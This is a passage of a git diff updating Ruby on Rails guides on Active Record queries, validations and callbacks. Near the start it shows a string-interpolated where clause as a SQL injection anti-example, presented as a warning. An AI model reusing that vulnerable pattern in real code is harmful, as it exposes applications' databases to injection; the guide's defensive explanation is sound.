-instead of:
+to this code:
<ruby>
Client.where("orders_count = #{params[:orders]}")
</ruby>
-is because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
+because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
TIP: For more information on the dangers of SQL injection, see the "Ruby on Rails Security Guide":security.html#sql-injection.
@@ -425,10 +436,26 @@ ActiveModel::MissingAttributeError: missing attribute: <attribute>
Where +&lt;attribute&gt;+ is the attribute you asked for. The +id+ method will not raise the +ActiveRecord::MissingAttributeError+, so just be careful when working with associations because they need the +id+ method to function properly.
-You can also call SQL functions within the select option. For example, if you would like to only grab a single record per unique value in a certain field by using the +DISTINCT+ function you can do it like this:
+If you would like to only grab a single record per unique value in a certain field, you can use +uniq+:
+
+<ruby>
+Client.select(:name).uniq
+</ruby>
+
+This would generate SQL like:
+
+<sql>
+SELECT DISTINCT name FROM clients
+</sql>
+
+You can also remove the uniqueness constraint:
<ruby>
-Client.select("DISTINCT(name)")
+query = Client.select(:name).uniq
+# => Returns unique names
+
+query.uniq(false)
+# => Returns all names, even if there are duplicates
</ruby>
h3. Limit and Offset
@@ -560,6 +587,7 @@ Client.where("orders_count > 10").order(:name).reverse_order
</ruby>
The SQL that would be executed:
+
<sql>
SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC
</sql>
@@ -571,6 +599,7 @@ Client.where("orders_count > 10").reverse_order
</ruby>
The SQL that would be executed:
+
<sql>
SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC
</sql>
@@ -614,15 +643,13 @@ c1.first_name = "Michael"
c1.save
c2.name = "should fail"
-c2.save # Raises a ActiveRecord::StaleObjectError
+c2.save # Raises an ActiveRecord::StaleObjectError
</ruby>
You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict.
NOTE: You must ensure that your database schema defaults the +lock_version+ column to +0+.
-<br />
-
This behavior can be turned off by setting <tt>ActiveRecord::Base.lock_optimistically = false</tt>.
To override the name of the +lock_version+ column, +ActiveRecord::Base+ provides a class method called +set_locking_column+:
@@ -731,7 +758,7 @@ SELECT categories.* FROM categories
INNER JOIN posts ON posts.category_id = categories.id
</sql>
-Or, in English: "return a Category object for all categories with posts". Note that you will see duplicate categories if more than one post has the same category. If you want unique categories, you can use Category.joins(:post).select("distinct(categories.id)").
+Or, in English: "return a Category object for all categories with posts". Note that you will see duplicate categories if more than one post has the same category. If you want unique categories, you can use Category.joins(:post).select("distinct(categories.id)").
h5. Joining Multiple Associations
@@ -911,14 +938,14 @@ end
To call this +published+ scope we can call it on either the class:
<ruby>
-Post.published => [published posts]
+Post.published # => [published posts]
</ruby>
Or on an association consisting of +Post+ objects:
<ruby>
category = Category.first
-category.posts.published => [published posts belonging to this category]
+category.posts.published # => [published posts belonging to this category]
</ruby>
h4. Working with times
@@ -1014,27 +1041,90 @@ You can also use +find_last_by_*+ methods which will find the last record matchi
You can specify an exclamation point (<tt>!</tt>) on the end of the dynamic finders to get them to raise an +ActiveRecord::RecordNotFound+ error if they do not return any records, like +Client.find_by_name!("Ryan")+
-If you want to find both by name and locked, you can chain these finders together by simply typing +and+ between the fields. For example, +Client.find_by_first_name_and_locked("Ryan", true)+.
+If you want to find both by name and locked, you can chain these finders together by simply typing "+and+" between the fields. For example, +Client.find_by_first_name_and_locked("Ryan", true)+.
WARNING: Up to and including Rails 3.1, when the number of arguments passed to a dynamic finder method is lesser than the number of fields, say <tt>Client.find_by_name_and_locked("Ryan")</tt>, the behavior is to pass +nil+ as the missing argument. This is *unintentional* and this behavior will be changed in Rails 3.2 to throw an +ArgumentError+.
-There's another set of dynamic finders that let you find or create/initialize objects if they aren't found. These work in a similar fashion to the other finders and can be used like +find_or_create_by_first_name(params[:first_name])+. Using this will first perform a find and then create if the find returns +nil+. The SQL looks like this for +Client.find_or_create_by_first_name("Ryan")+:
+h3. Find or build a new object
+
+It's common that you need to find a record or create it if it doesn't exist. You can do that with the +first_or_create+ and +first_or_create!+ methods.
+
+h4. +first_or_create+
+
+The +first_or_create+ method checks whether +first+ returns +nil+ or not. If it does return +nil+, then +create+ is called. This is very powerful when coupled with the +where+ method. Let's see an example.
+
+Suppose you want to find a client named 'Andy', and if there's none, create one and additionally set his +locked+ attribute to false. You can do so by running:
+
+<ruby>
+Client.where(:first_name => 'Andy').first_or_create(:locked => false)
+# => #<Client id: 1, first_name: "Andy", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
+</ruby>
+
+The SQL generated by this method looks like this:
<sql>
-SELECT * FROM clients WHERE (clients.first_name = 'Ryan') LIMIT 1
+SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1
BEGIN
-INSERT INTO clients (first_name, updated_at, created_at, orders_count, locked)
- VALUES('Ryan', '2008-09-28 15:39:12', '2008-09-28 15:39:12', 0, '0')
+INSERT INTO clients (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 0, NULL, '2011-08-30 05:22:57')
COMMIT
</sql>
-+find_or_create+'s sibling, +find_or_initialize+, will find an object and if it does not exist will act similarly to calling +new+ with the arguments you passed in. For example:
++first_or_create+ returns either the record that already exists or the new record. In our case, we didn't already have a client named Andy so the record is created and returned.
+
+The new record might not be saved to the database; that depends on whether validations passed or not (just like +create+).
+
+It's also worth noting that +first_or_create+ takes into account the arguments of the +where+ method. In the example above we didn't explicitly pass a +:first_name => 'Andy'+ argument to +first_or_create+. However, that was used when creating the new record because it was already passed before to the +where+ method.
+
+You can do the same with the +find_or_create_by+ method:
+
+<ruby>
+Client.find_or_create_by_first_name(:first_name => "Andy", :locked => false)
+</ruby>
+
+This method still works, but it's encouraged to use +first_or_create+ because it's more explicit on which arguments are used to _find_ the record and which are used to _create_, resulting in less confusion overall.
+
+h4. +first_or_create!+
+
+You can also use +first_or_create!+ to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add
+
+<ruby>
+validates :orders_count, :presence => true
+</ruby>
+
+to your +Client+ model. If you try to create a new +Client+ without passing an +orders_count+, the record will be invalid and an exception will be raised:
+
+<ruby>
+Client.where(:first_name => 'Andy').first_or_create!(:locked => false)
+# => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank
+</ruby>
+
+h4. +first_or_initialize+
+
+The +first_or_initialize+ method will work just like +first_or_create+ but it will not call +create+ but +new+. This means that a new model instance will be created in memory but won't be saved to the database. Continuing with the +first_or_create+ example, we now want the client named 'Nick':
<ruby>
-client = Client.find_or_initialize_by_first_name('Ryan')
+nick = Client.where(:first_name => 'Nick').first_or_initialize(:locked => false)
+# => <Client id: nil, first_name: "Nick", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
+
+nick.persisted?
+# => false
+
+nick.new_record?
+# => true
</ruby>
-will either assign an existing client object with the name "Ryan" to the client local variable, or initialize a new object similar to calling +Client.new(:first_name => 'Ryan')+. From here, you can modify other fields in client by calling the attribute setters on it: +client.locked = true+ and when you want to write it to the database just call +save+ on it.
+Because the object is not yet stored in the database, the SQL generated looks like this:
+
+<sql>
+SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1
+</sql>
+
+When you want to save it to the database, just call +save+:
+
+<ruby>
+nick.save
+# => true
+</ruby>
h3. Finding by SQL
@@ -1056,6 +1146,30 @@ h3. +select_all+
Client.connection.select_all("SELECT * FROM clients WHERE id = '1'")
</ruby>
+h3. +pluck+
+
+<tt>pluck</tt> can be used to query a single column from the underlying table of a model. It accepts a column name as argument and returns an array of values of the specified column with the corresponding data type.
+
+<ruby>
+Client.where(:active => true).pluck(:id)
+# SELECT id FROM clients WHERE active = 1
+
+Client.uniq.pluck(:role)
+# SELECT DISTINCT role FROM clients
+</ruby>
+
++pluck+ makes it possible to replace code like
+
+<ruby>
+Client.select(:id).map { |c| c.id }
+</ruby>
+
+with
+
+<ruby>
+Client.pluck(:id)
+</ruby>
+
h3. Existence of Objects
If you simply want to check for the existence of the object there's a method called +exists?+. This method will query the database using the same query as +find+, but instead of returning an object or collection of objects it will return either +true+ or +false+.
@@ -1186,11 +1300,82 @@ Client.sum("orders_count")
For options, please see the parent section, "Calculations":#calculations.
-h3. Changelog
+h3. Running EXPLAIN
+
+You can run EXPLAIN on the queries triggered by relations. For example,
+
+<ruby>
+User.where(:id => 1).joins(:posts).explain
+</ruby>
+
+may yield
+
+<plain>
+EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `posts` ON `posts`.`user_id` = `users`.`id` WHERE `users`.`id` = 1
+<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------------<plus>
+| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
+<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------------<plus>
+| 1 | SIMPLE | users | const | PRIMARY | PRIMARY | 4 | const | 1 | |
+| 1 | SIMPLE | posts | ALL | NULL | NULL | NULL | NULL | 1 | Using where |
+<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------------<plus>
+2 rows in set (0.00 sec)
+</plain>
+
+under MySQL.
+
+Active Record performs a pretty printing that emulates the one of the database
+shells. So, the same query running with the PostgreSQL adapter would yield instead
+
+<plain>
+EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "posts" ON "posts"."user_id" = "users"."id" WHERE "users"."id" = 1
+ QUERY PLAN
+------------------------------------------------------------------------------
+ Nested Loop Left Join (cost=0.00..37.24 rows=8 width=0)
+ Join Filter: (posts.user_id = users.id)
+ -> Index Scan using users_pkey on users (cost=0.00..8.27 rows=1 width=4)
+ Index Cond: (id = 1)
+ -> Seq Scan on posts (cost=0.00..28.88 rows=8 width=4)
+ Filter: (posts.user_id = 1)
+(6 rows)
+</plain>
+
+Eager loading may trigger more than one query under the hood, and some queries
+may need the results of previous ones. Because of that, +explain+ actually
+executes the query, and then asks for the query plans. For example,
+
+<ruby>
+User.where(:id => 1).includes(:posts).explain
+</ruby>
+
+yields
+
+<plain>
+EXPLAIN for: SELECT `users`.* FROM `users` WHERE `users`.`id` = 1
+<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------<plus>
+| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
+<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------<plus>
+| 1 | SIMPLE | users | const | PRIMARY | PRIMARY | 4 | const | 1 | |
+<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------<plus>
+1 row in set (0.00 sec)
+
+EXPLAIN for: SELECT `posts`.* FROM `posts` WHERE `posts`.`user_id` IN (1)
+<plus>----<plus>-------------<plus>-------<plus>------<plus>---------------<plus>------<plus>---------<plus>------<plus>------<plus>-------------<plus>
+| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
+<plus>----<plus>-------------<plus>-------<plus>------<plus>---------------<plus>------<plus>---------<plus>------<plus>------<plus>-------------<plus>
+| 1 | SIMPLE | posts | ALL | NULL | NULL | NULL | NULL | 1 | Using where |
+<plus>----<plus>-------------<plus>-------<plus>------<plus>---------------<plus>------<plus>---------<plus>------<plus>------<plus>-------------<plus>
+1 row in set (0.00 sec)
+</plain>
+
+under MySQL.
+
+h4. Interpreting EXPLAIN
+
+Interpretation of the output of EXPLAIN is beyond the scope of this guide. The
+following pointers may be helpful:
+
+* SQLite3: "EXPLAIN QUERY PLAN":http://www.sqlite.org/eqp.html
+
+* MySQL: "EXPLAIN Output Format":http://dev.mysql.com/doc/refman/5.6/en/explain-output.html
-* June 26 2011: Added documentation for the +scoped+, +unscoped+ and +default+ methods. "Ryan Bigg":credits.html#radar
-* December 23 2010: Add documentation for the +scope+ method. "Ryan Bigg":credits.html#radar
-* April 7, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com
-* February 3, 2010: Update to Rails 3 by "James Miller":credits.html#bensie
-* February 7, 2009: Second version by "Pratik":credits.html#lifo
-* December 29 2008: Initial version by "Ryan Bigg":credits.html#radar
+* PostgreSQL: "Using EXPLAIN":http://www.postgresql.org/docs/current/static/using-explain.html
diff --git a/railties/guides/source/active_record_validations_callbacks.textile b/railties/guides/source/active_record_validations_callbacks.textile
index ce0b5416de..a27c292a4c 100644
--- a/railties/guides/source/active_record_validations_callbacks.textile
+++ b/railties/guides/source/active_record_validations_callbacks.textile
@@ -28,7 +28,7 @@ h4. Why Use Validations?
Validations are used to ensure that only valid data is saved into your database. For example, it may be important to your application to ensure that every user provides a valid email address and mailing address.
-There are several ways to validate data before it is saved into your database, including native database constraints, client-side validations, controller-level validations, and model-level validations.
+There are several ways to validate data before it is saved into your database, including native database constraints, client-side validations, controller-level validations, and model-level validations:
* Database constraints and/or stored procedures make the validation mechanisms database-dependent and can make testing and maintenance more difficult. However, if your database is used by other applications, it may be a good idea to use some constraints at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that can be difficult to implement otherwise.
* Client-side validations can be useful, but are generally unreliable if used alone. If they are implemented using JavaScript, they may be bypassed if JavaScript is turned off in the user's browser. However, if combined with other techniques, client-side validation can be a convenient way to provide users with immediate feedback as they use your site.
@@ -46,7 +46,7 @@ end
We can see how it works by looking at some +rails console+ output:
-<shell>
+<ruby>
>> p = Person.new(:name => "John Doe")
=> #<Person id: nil, name: "John Doe", created_at: nil, :updated_at: nil>
>> p.new_record?
@@ -55,7 +55,7 @@ We can see how it works by looking at some +rails console+ output:
=> true
>> p.new_record?
=> false
-</shell>
+</ruby>
Creating and saving a new record will send an SQL +INSERT+ operation to the database. Updating an existing record will send an SQL +UPDATE+ operation instead. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not perform the +INSERT+ or +UPDATE+ operation. This helps to avoid storing an invalid object in the database. You can choose to have specific validations run when an object is created, saved, or updated.
@@ -94,7 +94,7 @@ Note that +save+ also has the ability to skip validations if passed +:validate =
h4. +valid?+ and +invalid?+
-To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were added to the object, and false otherwise.
+To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were found in the object, and false otherwise.
<ruby>
class Person < ActiveRecord::Base
@@ -105,7 +105,7 @@ Person.create(:name => "John Doe").valid? # => true
Person.create(:name => nil).valid? # => false
</ruby>
-When Active Record is performing validations, any errors found can be accessed through the +errors+ instance method. By definition an object is valid if this collection is empty after running validations.
+After Active Record has performed validations, any errors found can be accessed through the +errors+ instance method, which returns a collection of errors. By definition, an object is valid if this collection is empty after running validations.
Note that an object instantiated with +new+ will not report errors even if it's technically invalid, because validations are not run when using +new+.
@@ -139,7 +139,7 @@ end
=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
</ruby>
-+invalid?+ is simply the inverse of +valid?+. +invalid?+ triggers your validations and returns true if any errors were added to the object, and false otherwise.
++invalid?+ is simply the inverse of +valid?+. +invalid?+ triggers your validations, returning true if any errors were found in the object, and false otherwise.
h4(#validations_overview-errors). +errors[]+
@@ -160,7 +160,7 @@ We'll cover validation errors in greater depth in the "Working with Validation E
h3. Validation Helpers
-Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the field being validated.
+Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the attribute being validated.
Each helper accepts an arbitrary number of attribute names, so with a single line of code you can add the same kind of validation to several attributes.
@@ -328,7 +328,7 @@ This helper validates that your attributes have only numeric values. By default,
If you set +:only_integer+ to +true+, then it will use the
<ruby>
-/\A[+-]?\d+\Z/
+/\A[<plus>-]?\d<plus>\Z/
</ruby>
regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Float+.
@@ -428,6 +428,8 @@ class GoodnessValidator < ActiveModel::Validator
end
</ruby>
+NOTE: Errors added to +record.errors[:base]+ relate to the state of the record as a whole, and not to a specific attribute.
+
The +validates_with+ helper takes a class, or a list of classes to use for validation. There is no default error message for +validates_with+. You must manually add errors to the record's errors collection in the validator class.
To implement the validate method, you must have a +record+ parameter defined, which is the record to be validated.
@@ -454,13 +456,13 @@ This helper validates attributes against a block. It doesn't have a predefined v
<ruby>
class Person < ActiveRecord::Base
- validates_each :name, :surname do |model, attr, value|
- model.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/
+ validates_each :name, :surname do |record, attr, value|
+ record.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/
end
end
</ruby>
-The block receives the model, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you can add an error message to the model, therefore making it invalid.
+The block receives the record, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you should add an error message to the model, therefore making it invalid.
h3. Common Validation Options
@@ -569,11 +571,50 @@ end
All validations inside of +with_options+ block will have automatically passed the condition +:if => :is_admin?+
-h3. Creating Custom Validation Methods
+h3. Performing Custom Validations
+
+When the built-in validation helpers are not enough for your needs, you can write your own validators or validation methods as you prefer.
+
+h4. Custom Validators
+
+Custom validators are classes that extend <tt>ActiveModel::Validator</tt>. These classes must implement a +validate+ method which takes a record as an argument and performs the validation on it. The custom validator is called using the +validates_with+ method.
+
+<ruby>
+class MyValidator < ActiveModel::Validator
+ def validate(record)
+ unless record.name.starts_with? 'X'
+ record.errors[:name] << 'Need a name starting with X please!'
+ end
+ end
+end
+
+class Person
+ include ActiveModel::Validations
+ validates_with MyValidator
+end
+</ruby>
+
+The easiest way to add custom validators for validating individual attributes is with the convenient <tt>ActiveModel::EachValidator</tt>. In this case, the custom validator class must implement a +validate_each+ method which takes three arguments: record, attribute and value which correspond to the instance, the attribute to be validated and the value of the attribute in the passed instance.
+
+<ruby>
+class EmailValidator < ActiveModel::EachValidator
+ def validate_each(record, attribute, value)
+ unless value =~ /\A([^@\s]<plus>)@((?:[-a-z0-9]<plus>\.)+[a-z]{2,})\z/i
+ record.errors[attribute] << (options[:message] || "is not an email")
+ end
+ end
+end
+
+class Person < ActiveRecord::Base
+ validates :email, :presence => true, :email => true
+end
+</ruby>
-When the built-in validation helpers are not enough for your needs, you can write your own validation methods.
+As shown in the example, you can also combine standard validations with your own custom validators.
-Simply create methods that verify the state of your models and add messages to the +errors+ collection when they are invalid. You must then register these methods by using one or more of the +validate+, +validate_on_create+ or +validate_on_update+ class methods, passing in the symbols for the validation methods' names.
+h4. Custom Methods
+
+You can also create methods that verify the state of your models and add messages to the +errors+ collection when they are invalid. You must then register these methods by using one or more of the +validate+, +validate_on_create+ or +validate_on_update+ class methods, passing in the symbols for the validation methods' names.
You can pass more than one symbol for each class method and the respective validations will be run in the same order as they were registered.
@@ -583,13 +624,15 @@ class Invoice < ActiveRecord::Base
:discount_cannot_be_greater_than_total_value
def expiration_date_cannot_be_in_the_past
- errors.add(:expiration_date, "can't be in the past") if
- !expiration_date.blank? and expiration_date < Date.today
+ if !expiration_date.blank? and expiration_date < Date.today
+ errors.add(:expiration_date, "can't be in the past")
+ end
end
def discount_cannot_be_greater_than_total_value
- errors.add(:discount, "can't be greater than total value") if
- discount > total_value
+ if discount > total_value
+ errors.add(:discount, "can't be greater than total value")
+ end
end
end
</ruby>
@@ -620,7 +663,7 @@ The following is a list of the most commonly used methods. Please refer to the +
h4(#working_with_validation_errors-errors). +errors+
-Returns an OrderedHash with all errors. Each key is the attribute name and the value is an array of strings with all errors.
+Returns an instance of the class +ActiveModel::Errors+ (which behaves like an ordered hash) containing all errors. Each key is the attribute name and the value is an array of strings with all errors.
<ruby>
class Person < ActiveRecord::Base
@@ -700,7 +743,7 @@ Another way to do this is using +[]=+ setter
h4. +errors[:base]+
-You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since +errors[:base]+ is an array, you can simply add a string to the array and uses it as the error message.
+You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since +errors[:base]+ is an array, you can simply add a string to it and it will be used as an error message.
<ruby>
class Person < ActiveRecord::Base
@@ -710,8 +753,6 @@ class Person < ActiveRecord::Base
end
</ruby>
-
-
h4. +errors.clear+
The +clear+ method is used when you intentionally want to clear all the messages in the +errors+ collection. Of course, calling +errors.clear+ upon an invalid object won't actually make it valid: the +errors+ collection will now be empty, but the next time you call +valid?+ or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the +errors+ collection will be filled again.
@@ -746,7 +787,7 @@ end
person = Person.new
person.valid? # => false
-person.errors.size # => 3
+person.errors.size # => 2
person = Person.new(:name => "Andrea", :email => "andrea@example.com")
person.valid? # => true
@@ -755,21 +796,15 @@ person.errors.size # => 0
h3. Displaying Validation Errors in the View
-Rails maintains an official plugin that provides helpers to display the error messages of your models in your view templates. You can install it as a plugin or as a Gem.
-
-h4. Installing as a plugin
-<shell>
-$ rails plugin install git://github.com/joelmoss/dynamic_form.git
-</shell>
+"DynamicForm":https://github.com/joelmoss/dynamic_form provides helpers to display the error messages of your models in your view templates.
-h4. Installing as a Gem
+You can install it as a gem by adding this line to your Gemfile:
-Add this line in your Gemfile:
<ruby>
gem "dynamic_form"
</ruby>
-Now you will have access to these two methods in your view templates.
+Now you will have access to the two helper methods +error_messages+ and +error_messages_for+ in your view templates.
h4. +error_messages+ and +error_messages_for+
@@ -799,11 +834,13 @@ end
<% end %>
</erb>
-To get the idea, if you submit the form with empty fields you typically get this back, though styles are indeed missing by default:
+If you submit the form with empty fields, the result will be similar to the one shown below:
!images/error_messages.png(Error messages)!
-You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It's very similar to the previous example and will achieve exactly the same result.
+NOTE: The appearance of the generated HTML will be different from the one shown, unless you have used scaffolding. See "Customizing the Error Messages CSS":#customizing-error-messages-css.
+
+You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It is very similar to the previous example and will achieve exactly the same result.
<erb>
<%= error_messages_for :product %>
@@ -811,7 +848,7 @@ You can also use the +error_messages_for+ helper to display the error messages o
The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself.
-Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, changing the header text, the message below the header text and the tag used for the element that defines the header.
+Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, change the header text, change the message below the header, and specify the tag used for the header element. For example,
<erb>
<%= f.error_messages :header_message => "Invalid product!",
@@ -819,23 +856,23 @@ Both the +form.error_messages+ and the +error_messages_for+ helpers accept optio
:header_tag => :h3 %>
</erb>
-Which results in the following content:
+results in:
!images/customized_error_messages.png(Customized error messages)!
-If you pass +nil+ to any of these options, it will get rid of the respective section of the +div+.
+If you pass +nil+ in any of these options, the corresponding section of the +div+ will be discarded.
-h4. Customizing the Error Messages CSS
+h4(#customizing-error-messages-css). Customizing the Error Messages CSS
-The selectors to customize the style of error messages are:
+The selectors used to customize the style of error messages are:
* +.field_with_errors+ - Style for the form fields and labels with errors.
-* +#errorExplanation+ - Style for the +div+ element with the error messages.
-* +#errorExplanation h2+ - Style for the header of the +div+ element.
-* +#errorExplanation p+ - Style for the paragraph that holds the message that appears right below the header of the +div+ element.
-* +#errorExplanation ul li+ - Style for the list items with individual error messages.
+* +#error_explanation+ - Style for the +div+ element with the error messages.
+* +#error_explanation h2+ - Style for the header of the +div+ element.
+* +#error_explanation p+ - Style for the paragraph holding the message that appears right below the header of the +div+ element.
+* +#error_explanation ul li+ - Style for the list items with individual error messages.
-Scaffolding for example generates +app/assets/stylesheets/scaffold.css.scss+, which later compiles to +app/assets/stylesheets/scaffold.css+ and defines the red-based style you saw above.
+If scaffolding was used, file +app/assets/stylesheets/scaffolds.css.scss+ will have been generated automatically. This file defines the red-based styles you saw in the examples above.
The name of the class and the id can be changed with the +:class+ and +:id+ options, accepted by both helpers.
@@ -848,7 +885,7 @@ The way form fields with errors are treated is defined by +ActionView::Base.fiel
* A string with the HTML tag
* An instance of +ActionView::Helpers::InstanceTag+.
-Here is a simple example where we change the Rails behavior to always display the error messages in front of each of the form fields with errors. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want.
+Below is a simple example where we change the Rails behavior to always display the error messages in front of each of the form fields in error. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want.
<ruby>
ActionView::Base.field_error_proc = Proc.new do |html_tag, instance|
@@ -862,17 +899,17 @@ ActionView::Base.field_error_proc = Proc.new do |html_tag, instance|
end
</ruby>
-This will result in something like the following:
+The result looks like the following:
!images/validation_error_messages.png(Validation error messages)!
h3. Callbacks Overview
-Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it's possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database.
+Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it is possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database.
h4. Callback Registration
-In order to use the available callbacks, you need to register them. You can do that by implementing them as ordinary methods, and then using a macro-style class method to register them as callbacks.
+In order to use the available callbacks, you need to register them. You can implement the callbacks as ordinary methods and use a macro-style class method to register them as callbacks:
<ruby>
class User < ActiveRecord::Base
@@ -889,7 +926,7 @@ class User < ActiveRecord::Base
end
</ruby>
-The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in just one line.
+The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in a single line:
<ruby>
class User < ActiveRecord::Base
@@ -901,7 +938,7 @@ class User < ActiveRecord::Base
end
</ruby>
-It's considered good practice to declare callback methods as being protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation.
+It is considered good practice to declare callback methods as protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation.
h3. Available Callbacks
@@ -941,15 +978,15 @@ The +after_initialize+ callback will be called whenever an Active Record object
The +after_find+ callback will be called whenever Active Record loads a record from the database. +after_find+ is called before +after_initialize+ if both are defined.
-The +after_initialize+ and +after_find+ callbacks are a bit different from the others. They have no +before_*+ counterparts, and the only way to register them is by defining them as regular methods. If you try to register +after_initialize+ or +after_find+ using macro-style class methods, they will just be ignored. This behavior is due to performance reasons, since +after_initialize+ and +after_find+ will both be called for each record found in the database, significantly slowing down the queries.
+The +after_initialize+ and +after_find+ callbacks have no +before_*+ counterparts, but they can be registered just like the other Active Record callbacks.
<ruby>
class User < ActiveRecord::Base
- def after_initialize
+ after_initialize do |user|
puts "You have initialized an object!"
end
- def after_find
+ after_find do |user|
puts "You have found an object!"
end
end
@@ -998,7 +1035,7 @@ The +after_initialize+ callback is triggered every time a new object of the clas
h3. Skipping Callbacks
-Just as with validations, it's also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data.
+Just as with validations, it is also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data.
* +decrement+
* +decrement_counter+
@@ -1017,13 +1054,13 @@ h3. Halting Execution
As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed.
-The whole callback chain is wrapped in a transaction. If any <em>before</em> callback method returns exactly +false+ or raises an exception the execution chain gets halted and a ROLLBACK is issued; <em>after</em> callbacks can only accomplish that by raising an exception.
+The whole callback chain is wrapped in a transaction. If any <em>before</em> callback method returns exactly +false+ or raises an exception, the execution chain gets halted and a ROLLBACK is issued; <em>after</em> callbacks can only accomplish that by raising an exception.
-WARNING. Raising an arbitrary exception may break code that expects +save+ and friends not to fail like that. The +ActiveRecord::Rollback+ exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised.
+WARNING. Raising an arbitrary exception may break code that expects +save+ and its friends not to fail like that. The +ActiveRecord::Rollback+ exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised.
h3. Relational Callbacks
-Callbacks work through model relationships, and can even be defined by them. Let's take an example where a user has many posts. In our example, a user's posts should be destroyed if the user is destroyed. So, we'll add an +after_destroy+ callback to the +User+ model by way of its relationship to the +Post+ model.
+Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many posts. A user's posts should be destroyed if the user is destroyed. Let's add an +after_destroy+ callback to the +User+ model by way of its relationship to the +Post+ model:
<ruby>
class User < ActiveRecord::Base
@@ -1049,11 +1086,11 @@ Post destroyed
h3. Conditional Callbacks
